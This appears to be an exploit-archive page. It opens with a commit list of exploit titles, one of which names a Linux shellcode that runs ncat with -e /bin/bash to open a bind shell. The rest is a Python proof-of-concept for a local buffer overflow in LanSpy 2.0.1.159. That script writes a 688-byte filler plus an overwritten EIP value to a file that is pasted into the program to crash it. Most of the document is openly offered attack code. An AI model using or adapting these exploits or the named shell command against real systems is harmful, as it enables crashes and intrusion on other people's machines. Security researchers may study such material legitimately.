a07949d1c7
21 changes to exploits/shellcodes SmartFTP Client 9.0.2623.0 - Denial of Service (PoC) LanSpy 2.0.1.159 - Local Buffer Overflow (PoC) XNU - POSIX Shared Memory Mappings have Incorrect Maximum Protection McAfee True Key - McAfee.TrueKey.Service Privilege Escalation DomainMOD 4.11.01 - Cross-Site Scripting DomainMOD 4.11.01 - 'raid' Cross-Site Scripting Tourism Website Blog - Remote Code Execution / SQL Injection Alumni Tracer SMS Notification - SQL Injection / Cross-Site Request Forgery PrestaShop 1.6.x/1.7.x - Remote Code Execution DomainMOD 4.11.01 - Cross-Site Scripting PrinterOn Enterprise 4.1.4 - Arbitrary File Deletion TP-Link wireless router Archer C1200 - Cross-Site Scripting Huawei B315s-22 - Information Leak ZTE ZXHN H168N - Improper Access Restrictions Sitecore CMS 8.2 - Cross-Site Scripting / Arbitrary File Disclosure IceWarp Mail Server 11.0.0.0 - Cross-Site Scripting Apache OFBiz 16.11.05 - Cross-Site Scripting HotelDruid 2.3.0 - 'id_utente_mod' SQL Injection WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection ThinkPHP 5.0.23/5.1.31 - Remote Code Execution Adobe ColdFusion 2018 - Arbitrary File Upload Linux/x86 - execve(/usr/bin/ncat -lvp 1337 -e /bin/bash)+Null-Free Shellcode (95 bytes)
27 lines
No EOL
869 B
Python
Executable file
27 lines
No EOL
869 B
Python
Executable file
# Exploit Title: LanSpy 2.0.1.159 - Local BoF (PoC)
|
|
# Author: Gionathan "John" Reale
|
|
# Discovey Date: 2018-12-07
|
|
# Homepage: https://lizardsystems.com
|
|
# Software Link: https://lizardsystems.com/download/lanspy_setup.exe
|
|
# Tested Version: 2.0.1.159
|
|
# Tested on OS: Windows 7 32-bit
|
|
# Steps to Reproduce: Run the python exploit script, it will create a new
|
|
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
|
|
# and start the program. In the new window paste the content of
|
|
# "exploit.txt" into the scan field. Click the start button.
|
|
|
|
#!/usr/bin/python
|
|
|
|
buffer = "A" * 688
|
|
|
|
eip = "B" * 4
|
|
|
|
payload = buffer + eip
|
|
try:
|
|
f=open("exploit.txt","w")
|
|
print "[+] Creating %s bytes evil payload.." %len(payload)
|
|
f.write(payload)
|
|
f.close()
|
|
print "[+] File created!"
|
|
except:
|
|
print "File cannot be created" |